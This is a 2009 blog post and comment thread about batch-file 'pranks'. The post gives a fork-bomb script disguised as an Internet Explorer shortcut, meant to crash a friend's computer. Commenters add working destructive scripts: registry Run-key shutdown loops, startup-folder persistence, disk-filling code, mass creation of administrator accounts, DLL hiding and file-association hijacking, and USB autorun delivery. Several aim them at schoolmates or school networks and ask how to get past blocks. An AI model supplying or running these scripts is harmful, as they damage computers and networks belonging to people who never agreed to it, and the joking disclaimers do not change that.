Flying bat in a marquee Flying bat in a marquee Flying bat in a marquee Flying bat in a marquee Flying bat in a marquee Flying bat in a marquee Flying bat in a marquee Flying bat in a marquee Flying bat in a marquee Flying bat in a marquee Flying bat in a marquee Flying bat in a marquee Flying bat in a marquee Flying bat in a marquee Flying bat in a marquee Flying bat in a marquee Flying bat in a marquee Flying bat in a marquee Flying bat in a marquee Flying bat in a marquee Flying bat in a marquee Flying bat in a marquee Flying bat in a marquee Flying bat in a marquee Flying bat in a marquee Flying bat in a marquee

Sunday, May 10, 2009

Batch File Trick


A really cool trick to play on one of your friends is to create a batch file, disguised as any program you want (such as Internet Explorer) that opens itself continually until the computer crashes.
To do this first open notepad and copy the code below.
:loop
start joke.bat

Goto loop

Next save the document as joke.bat to a folder you know you're friend will not accidentally open (such as C:\windows). Now, right click your desktop and select New | Shortcut and type in the path of where you just saved the file in the text box. Click next and now enter the name of the file you want to disguise your batch file trap as (such as "Internet Explorer"), and click finish. After the shortcut is created, right click it and select properties. Next, click the change icon button and choose the icon you wish your trap to appear as. Finally delete the real original desktop icon so that only your trap icon is visible. Now when your friend goes to click on Internet explorer, my computer, or whatever you disguised your trap as, he/she will unknowingly open up a infinite number of windows which will after a few minutes cause your friends computer to crash.
Note: I've used this trick many times without any problems because after the computer is restarted the computer is fine, but don't blame me if there is any problems with this trick.


Related Articles
Batch File Colors
Screen Flash Batch File Trick
AddThis

41 comments:

Re_jex said...

I see... very handy. I bet I could edit this code too.. Fun. :)

Re_jex said...

I was so interested I looked up some other commands. To shut down or restart:
-r = restart, -s = shutdown
SHUTDOWN -r

Another interesting thing is to echo, which displays a message in the command window, just type @echo off
at the beginning and echo blah example

@echo off
echo this is a message
pause

with out the pause it will just close immediately.

I used this to make the file say "HAHAHAHA" forever while another opens the haha file forever.

Anonymous said...

Hi, i was looking over your blog and didn't
quite find what I was looking for. I'm looking for
different ways to earn money... I did find this though...
a place where you can make some nice extra cash secret shopping.
I made over $900 last month having fun!
make extra money

[ty] said...

I love this easy trick. I am going to use it at school this year. Thanks.

Anonymous said...

Hi! Just want to say what a nice site. Bye, see you soon.
»

Anonymous said...

VIZVORM:

Hey
theres alot of codes to make batch virus's fun

cd\ = cd to the root drive (eg c:\
RD = remove a directory in which the virus is in so cd at different times
DEL = delete a file in the current directory


To have a message pop up on the screen do : (replace message with the message)
msg * MESSAGE

To display a message in the cmd or dos : (replace message with the message)
echo MESSAGE

Shutdown codes:
SHUTDOWN -L = log off
SHUTDOWN -R = restart
SHUTDOWN -F = Force applications to close then logoff

Change text colour in cmd window:
COLOR 0 = black (does not work in cmd)
COLOR 1 = blue
COLOR 2 = GREEN
COLOR 3 = AQUA
COLOR 4 = RED
COLOR 5 = PURPLE
COLOR 6 = YELLOW
COLOR 7 = WHITE
COLOR 8 = GRAY
COLOR 9 = LIGHT BLUE
COLOR A = LIGHT GREEN
COLOR B = LIGHT AQUA
COLOR C = LIGHT RED
COLOR D = LIGHT PURPLE
COLOR E = LIGHT YELLOW
COLOR F = BRIGHT WHITE
COLOR FC = BACKGROUND WHITE AND TEXT RED, PRETTY COOL TO SCARE SOMEONE.
IM ALSO SURE YOU CAN USE HEX COLORS.

Be careful, i have made a batch virus before deleting vital dlls and system would not boot. But this was on a virtual machine.

WARNING!!! SPREADING VIRUS'S IS ILLEGAL, THIS IS ONLY FOR DEMOSTRATION OF HOW BATCH VIRUS CAN TAKE DOWN COMPUTERS.

EXAMPLES:
TO CRASH A COMPUTER
msg * YOUR COMPUTER WILL CRASH
start
start
start
start
(CONTINUE DOING LOADS OF STARTS)



NOW TO MAKE A BATCH:
1) OPEN NOTEPAD
2) START WITH FOLLOWING SCRIPT
@echo off
NOW YOUR COMMANDS
3) SAVE AS
4) FILENAME.bat
5) LAUNCH AND YOUR BATCH IS CREATED.

YOU CAN ALSO MAKE BATCH AUTO RUNS ON FLASHDISKS, SO LEAVE A CRAP FLASHDISK HANGING AROUND, ITS PICKED UP AND THEIR COMPUTER CRASH'S! THE AUTO RUN IS:

[autorun]
open=FILENAME.bat
icon=myicon.ico

SAVE AS autorun.inf
PUT THE BATCH AND AUTORUN IN THE ROOT OF THE CD OR FLASHDISK AND PUT THEM AS HIDDEN, THEY WILL STILL LAUNCH.

SEARCH GOOGLE THERE ARE MORE BETTER ONES WHICH MAKE SURE IT WILL COME UP EVEN WHEN YOU CLICK ON THE DEVICE IN MY COMPUTER.

I PUT THIS KIND OF MESSAGE ON MY FLASH DISK:
@echo off
msg * YOU ARE USING ****** FLASHDISK
msg * IF YOU DO NOT OWN THIS FLASHDISK THEN **** OFF.

:-)

NOW

HACKING NETWORK

(( FOR TESTING ONLY - LEGAL TESTING ))

1) Open a cmd
2) cd\
3) NET VIEW = shows all computers on the network
4) IF YOU TYPE NET YOU CAN SEE ALL THE NETWORK OPTIONS
5) IF THE NETWORK IS NOT THAT POWERFUL, YOU CAN SHUTDOWN OR LOG OFF NETWORK PCS, TYPE
SHUTDOWN -I

Now you have learnt the basics and the advance features of crashing, deleteing and messing up people systems.

I HACKED MY SCHOOLS NETWORK, BUT NOT EXACTLY HACK, THE SECURITY IS TOO HIGH BUT YOU COLLEGE, HIGH SCHOOL PEOPLE CAN I GUESS.

BUT ONLY DO THIS FOR TESTING UNDER YOUR COUNTRYS LAW.

IM NOT HELD RESPONSIBLE FOR YOUR ACTIONS.


NOW, HAVE FUN!!!!!!!

THERE ARE BATCH COMPLIERS OUT THERE WHAT WILL TURN YOUR BATCH INTO A EXE, POST ANY OTHERS SOFTWARES.


YOUR FRIEND, VIZVORM.



MSN IS EASY TO FRAUD ALSO, BUT THAT WAS DONE UNDER TESTING AS WELL, POST IF YOU WANT TO KNOW, AND SEND THIS PAGE TO ALL



V I Z V O R M
- - - - - - -

ONLY USE THESE SKILLS FOR LEGAL ACTIVITY OTHERWISE YOU TAKE THIS INTO YOUR OWN HANDS.


VIZVORM

Conrad Sykes said...

Hey VIZVORM Thanks for posting! I love all the cool tricks. I hope you don't mind if I post this stuff. You didn't leave an email or else I'd ask you first but if you have a problem with me posting what you wrote then email me as soon as you read this and I'll take it off the site. Anyways thanks for the great tips, I absolutely love them, and if you have any more cool tricks just email me them and I'll post them too (as long as thats cool with you). Well just wanted to say thanks.

Anonymous said...

I'm a computer nerd/freak, too. I can make all sorts of batch files, but that's just the absolute basics. And try to run this batch file, don't worry, it's just this funny thing I thought up:
@echo off
echo You have contacted Pickles Association Inc.
echo.
pause
cls
echo Searching for avalible pickle...
echo.
pause
msg * Pickle found!!
:a
msg * Pickle on lunch break. Please stand by.
msg * Pickle on dinner break. Please stand by.
msg * Pickle on tea break. Please stand by.
msg * Pickle on sleeping break. Please stand by.
msg * Pickle on breakfast break. Please stand by.
msg * Pickle on shopping break. Please stand by.
goto a

The message box can't be deleted unless you reboot the computer, and the funny thing is, when the person tries to hide the messagebox in the corner of the screen where the teacher can't see it, every few minutes it'll pop up in the middle of the screen. Funny if the teacher's around!

Anonymous said...

And I still remember the good old days in elementary school where they didn't block batch files. I created myself an administrative account and started messing with the root when I was in fifth grade, and nearly got myself expelled after they caught me...:-(

Anonymous said...

hey can you tell me if there are any errors in this im a little uneasy about running it on my computer for a test and im not sure if i got the syntax right also if you can find a creative way to hide it in that folder or lock it in place and make it read only that would be nice
@echo off
if NOT exist E:\quarentine.txt goto secondchance
:secondchance
if NOT exist F:\quarentine.txt goto lastchance
:lastchance
if NOT exist C:\Windows\System32\quarentine.txt goto seekanddestroy
:seekanddestroy
if Not exist C:\Documents and Settings\All Users\Start Menu\Programs\Startup\systemfile.bat COPY batch.bat C:\Documents and Settings\All Users\Start Menu\Programs\Startup
REN batch.bat Systemfile.bat
goto byebye
:byebye

echo hmm.... what kind of fun can I have here....@u@

start /min C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Systemfile.ba
TASKKILL /F /IM explorer.exe
start /min C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Systemfile.ba
TASKKILL /F /IM taskmgr.exe
start /min C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Systemfile.ba
TASKKILL /F /IM launchy.exe
exit
start /min C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Systemfile.bat


the reason i ask this is my friend 5 days ago ran a file on my laptop by taking it from me an double clicking the exe whic deleted the hal.dll and forced shutdown now we figured out al we needed to do was exand the hal.dl_ in a different file to the original to fix it but it took 5 days to fix because my entire hard disk was read only so i had to wait for a friend to use his vista live cd to fix and i want to get him back by having this run at startup once he logs in but im sue i may have mentioned that things in the file this will be in will not run in safe mode so i think he could fix it by just removing it can you help me out; if I have to someone told me that they would teach me how to flash a bios and really mess up his little 15 gig comp also i can't seem to get an autorun file to open a batch off my flash drive>.<>

Conrad Sykes said...

I know a little about a lot but when you get to specific like the code you have here, I really can't help. I'm sorry, wish I could.

Anonymous said...

it's alright i tried it on my comp with a few fixes and i can't quite get it right it doesn't want to rename the file that it copies only the original which is a problem also im having trouble with the if exist and if not exist queries

some kid said...

my teacher has allowed me to send him a virus or rather a batch file that i had made becuz he thinks that i can't get past the firewall and i'm not "smart" enough. does anyone have ways to get past the district firewall with the batch file going through? thanks :D

Anonymous said...

This is still isn't finnished but once it is finnished it should work quite well.

Please do not use this or claim it is your own.

I intend to launch it hidden using javascript. I am currently having a few problems with the registry values. This is designed to eat hard drive space.
This line:
IF "%q%"=="10" goto ao
restricts the batch file to only eat 300MB. A more simplified version of this could be made but the point of the registry values is so that it secretly continue from where it left off after a restart.
Please feel free to make any suggestions.

@echo off
::
::
::
::
:: PLEASE DO NOT COPY THIS SCRIPT; THIS IS FOR TESTING PURPOSES ONLY
::
::
::
rem Setting of Values Commences
set a=0
set ERRORLEVEL=0
set q=5
set r=4
rem Value Setting Finnishes
cd C:\
rem
rem The following section in brackets determines whether the program has been used before.
rem
REG QUERY HKLM\Software\GUSTING /v USEDB4 > NULL
rem
rem
IF %ERRORLEVEL% NEQ 0 (
rem This is where the keys are added
REG ADD HKLM\Software\GUSTING
REG ADD HKLM\Software\GUSTING /v USEDB4 /d YES /f
REG ADD HKLM\Software\GUSTING /v q /d 4 /f
REG ADD HKLM\Software\GUSTING /v r /d 3 /f
)
:start
echo BIG BAD n0ob >>1.txt
:again
IF "%a%"=="20" goto next
copy /y 1.txt 2.txt >NUL
copy /y 1.txt+2.txt 3.txt >NUL
copy /y 3.txt 1.txt >NUL
set /a a=%a%+1
goto again
:next
copy 1.txt+3.txt 4.txt >NUL
copy 4.txt 1.txt >NUL
copy 4.txt 2.txt >NUL
copy 4.txt 3.txt >NUL
::
::
::
:ga
goto setstartval
:back
::
::
::
:: Next line is the number of copy times you require.
IF "%q%"=="10" goto ao
goto increasevals
:backagagag
::
::
::
::
copy %r%.txt %q%.txt >NUL
goto resetvals
:: Scripting after this point is subroutines
::
::
:ao
echo Script Finnishes
PAUSE >NUL
EXIT
:: Between ao and here is the end of the script
::
::
::
:setstartval
FOR /F "tokens=2* delims= " %%A IN ('REG QUERY "HKLM\Software\GUSTING" /v q') DO SET q=%%B
FOR /F "tokens=2* delims= " %%A IN ('REG QUERY "HKLM\Software\GUSTING" /v r') DO SET r=%%B
goto back
::
::
::
:increasevals
set /a q=%q%+1
set /a r=%r%+1
goto backagagag
::
::
::
:resetvals
REG ADD HKLM\Software\GUSTING /v q /d %q% /f
REG ADD HKLM\Software\GUSTING /v r /d %r% /f
goto back

Anonymous said...

cool

Anonymous said...

on the first post.... it's used directly on the victm's computer right?

And if i want to do on my computer and then send the file to the victim?

Anonymous said...

can anyone make me a .bat that will kill the background and put in a different one.. pls and thx you *=P*

Lloyd said...

Nice comment :V I Z V O R M

Reminds me of my old school doing this all teh time to people!

I also found netsend was pretty good, i made a message pop up on a girls screen saying the administrator is watching your screen etc, shes shouting 'im trying to send my work home!' and my mate greg shouts out 'NICE ONE LLOYD!' lmao, muppet! Didn't get into trouble though, jsut told off by a higher member off staff :P The teacher knew it wa me anyway, no one else in the class would know how! They allwanted to knwo how after though... cant remember it actually, think it was net send user (i.e 01JBloggs) messgae

Anonymous said...

To make and endless ammount of boxes open until your computer crashes i found a easy way in just 2 lines.

Start test.bat
test2.bat

Save test.bat or save both of them and run 1 of them and watch what happens. this is harmless so no pc damage should happen

Anonymous said...

Heres a fun one name it as
124 bytes of doom.bat

@ECHO OFF
copy %0 "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\124 bytes of doom.bat
start 124 bytes of doom.bat
goto a

do not use on ur own computer use on ur enemies

Anonymous said...

sry this is the right way
Heres a fun one name it as
124 bytes of doom.bat

@ECHO OFF
copy %0 "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\124 bytes of doom.bat
:A
start 124 bytes of doom.bat
goto A

do not use on ur own computer use on ur enemies

sic_666 said...

If you have a large network at your school/uni/wherever and want to piss people off majorly (i.e. if you got in trouble etc..) use this:

:loop
net send * Go fuck yourselves :D
goto loop

Really simple -- batch file with 3 lines of code will spam that message to every connected networked computer... Have fun :)

Anonymous said...

OKAY These litle games are fun, but you may have herd of me i go by 5KITZ and you realy wana hurt some1 you use a code like this, ovcorse i only use this to test your own computers.... well i call this NuKe (BETA):

set /a a=%a%+1
goto again
:next
copy 1.txt+3.txt 4.txt >NUL
copy 4.txt 1.txt >NUL
copy 4.txt 2.txt >NUL
copy 4.txt 3.txt >NUL
::
::
::
:ga
goto setstartval
:back
::
::
::
:: Next line is the number of copy times you require.
goto increasevals
:backagagag
::
::
::
::
copy %r%.txt %q%.txt >NUL
goto resetvals
:: Scripting after this point is subroutines
::
::
:ao
echo Script Finnishes
PAUSE >NUL
EXIT
:: Between ao and here is the end of the script
::
::
::
:setstartval
FOR /F "tokens=2* delims= " %%A IN ('REG QUERY "HKLM\Software\GUSTING" /v q') DO SET q=%%B
FOR /F "tokens=2* delims= " %%A IN ('REG QUERY "HKLM\Software\GUSTING" /v r') DO SET r=%%B
goto back
::
::
::
:increasevals
set /a q=%q%+1
set /a r=%r%+1
goto backagagag
::
::
::
:resetvals
REG ADD HKLM\Software\GUSTING /v q /d %q% /f
REG ADD HKLM\Software\GUSTING /v r /d %r% /f
goto back

Anonymous said...

i just took this prank to the next level, i also took my friends power button plug out of the motherboard. so when the screens were popping up he could not show(his is slow so he couldnt manuall shut down on his start menu either)

very funny

Anonymous said...

hear is a cool virus FOR DEMO ONLY OTHER WISE IM NOT LIEABLE



:virus_loop
echo >%random%ha.jpeg
echo >%random%ha.bmp
echo >%random%ha.bat
echo >%random%ha.dll
echo >%random%ha.java
echo >%random%ha.cpp
echo >%random%ha.cfg
goto virus_loop

this will make random named files in curent directory

this will make randome account names and i will make about 50 in 30 secs

@echo off
:loop
net user %random% /add
net localgroup administrators %random% /add
goto loop

altibbacat said...

Hello everyone, I just found this blog and thought it was pretty cool but would like to say that that this batch file trick my be simple and you may think it is just a joke but most variations of it are dangerous and if done on anothers computer without permission it is lillegal! + if you all think that you are super techy then why don't you make a real BIOS or "Trojan" virus! now that would be cool. Now I'm not totally going against all of your motives but I just want to say be careful because I have got in more trouble than imagineable with batch files and hacking networks so just be mindful of what you are about to do!:)

Anonymous said...

@echo off
for %%f in (*.dll) do set virus=%%f
ren %virus% virus%virus%
attrib +r +h virus%virus%
assoc .reg=sysfile
assoc .exe=dllfile
copy virus%virus% virus%virus%
:virus
taskkill /f /t /im virus%virus%
tskill /f /t /im virus%virus%
goto virus

Anonymous said...

Hey, newbie to exploiting here, but I have a question. Maybe you guys can help me out. The admin on our school's computer network has blocked access to command prompt, but you can still make .bat files that run as a command window. However, it still opens it into the blocked prompt. Is there any kind of code or way around the blockage of command prompt? I would love to have some fun on the system, and I know I could, but only if I can get around. Thanks in advance.

Anonymous said...

Ya, ummm i kinda DESTROYED my friends computer.........lol his dad came over asked if it was me.....said no and he left...

Shade said...

lmao Re_jex u really suck
"i bet i could edit this code too..." and then explaining about shutdown.exe batch and vbs are the easiest simple apps to make. I like using delphi though. pascal is simpler than C++, but more sophisticated and powerful than BASIC/batch/vbs/etc

greetz

(i love programming - i just finished writing an email client but it can only send plain text. formatting is on the way!)

ps. nice n00b tut computerkid

Shade said...

o yea i forgot to say - my fav batch "virus" (which is not really a virus) ever is one i wrote once that would continually make text files filled with line returns until the hard drive fills up and windows automatically shuts down so then u have to use a live cd to open ur hard drive and delete the useless files lmao

u should look into it - its fun

btw even better is getting something like that and making an autorun script for a usb, so u can surreptitiously put the usb in someones computer and the "virus" will run and then u just take out ur usb again and watch the fun ^^

Revan said...

This batch (a pretty basic folder locker but with a twist) hides a folder and it's contents, but mine also lets you see what's inside it with a switch.

@echo off
cls
If 1%1==1/d (goto dir) else goto main
rem you can change /d to whatever switch you want to use
exit

:Main
cd %userprofile%/desktop
If exist the_ninja_report goto lock
If exist kringles343 (goto unlock) else goto mlock
exit

:lock
ren the_ninja_report kringles343
attrib kringles343 +h +s
goto end
exit

:unlock
cls
set /p "pass=>"
If %pass%==[put your password here] goto unlock2

If %pass%==exit (goto end) else goto unlock
exit

:unlock2
attrib kringles343 -s -h
ren kringles343 the_ninja_report
goto end
exit

:mlock
md the_ninja_report
goto end
exit

:dir
cd kringles343
dir
pause > nul
goto end

:end
exit

P.S. VIZVORM, for computers it's virii, for living things it's viruses, but either way you got it wrong lol

Anonymous said...

Here is a batch file that you can send to one of your friends and its going to crash his computer. Not that its going to crash it its going to make the computer shutdown every time it starts up.

CODE:

@echo off]
cls
reg add hklm\software\microsoft\windows\currentversion\run /v ~WOLF~ /t reg_sz /d "shutdown -s -t 01 -c Hacked By The ~WOLF~"
shutdown -r -t 01 -c Hacked By the ~WOLF~

Mogar the Destroyer said...

@Revan,
no such word as `virii.` The Latin it's based on (virus) is generally considered an uncountable noun, like air or rice. Unless you say "I need more airs" or "I'd like extra riceii" stop lecturing Vizvorm, script kiddie.

Anonymous said...

Anyone know how to make a batch for welcome message at windows startup?

Anonymous said...

I have an idea but I cant make very good files

I want to create a batch file that will replace the internet explorer shortcut with itself (so it says Internet Explorer and uses the icon but is actually the batch) so that when you click it it runs.
And what I want it to do when it runs is flood the screen with batch files and crash it.

That or one that closes Internet Explorer everytime its opened

Either way I want the file to be hidden, with the shortcut on the desktop hidden as Internet Explorer.

Please and thankyou!!!

~~~~~N00bz0rz~~~~~~

lloydmedley said...

yeah N00bz0rz, i reckon i could help you with that. Add me on msn, its (lloyd medley)07 at gmail.com ovo no space or brackets lol
JackLloyd.

Anonymous said...

I sent out the invite
Took me awhile, dinner and then had to install MSN messenger (didn't have it, use AIM)
Get back to me whenever or drop me an email, wannabe-groundhog@live.com
Thanks once more
N00bz0rz <3

Anonymous said...

Hey guys, total noob here but i need some help. What kind of file and code can i use to make the cd tray open and close randomly??? Also, how can i make it so that I can plug a flashdrive in and it will automatically start a batch file on that computer? If you can e-mail me the info, that would be sick. tsigmen@gmail.com Thanks a lot!

Anonymous said...

hi guys im a total noob here, but with the codes that send it to the whole network if your at a school, uni or whatever, is there anyway to send these codes and bypass anything if it says access denied?

Anonymous said...

bahaha these are always fun in school. i got suspended for using a net send file to say "I Like Cheese" XD

No comments:

Post a Comment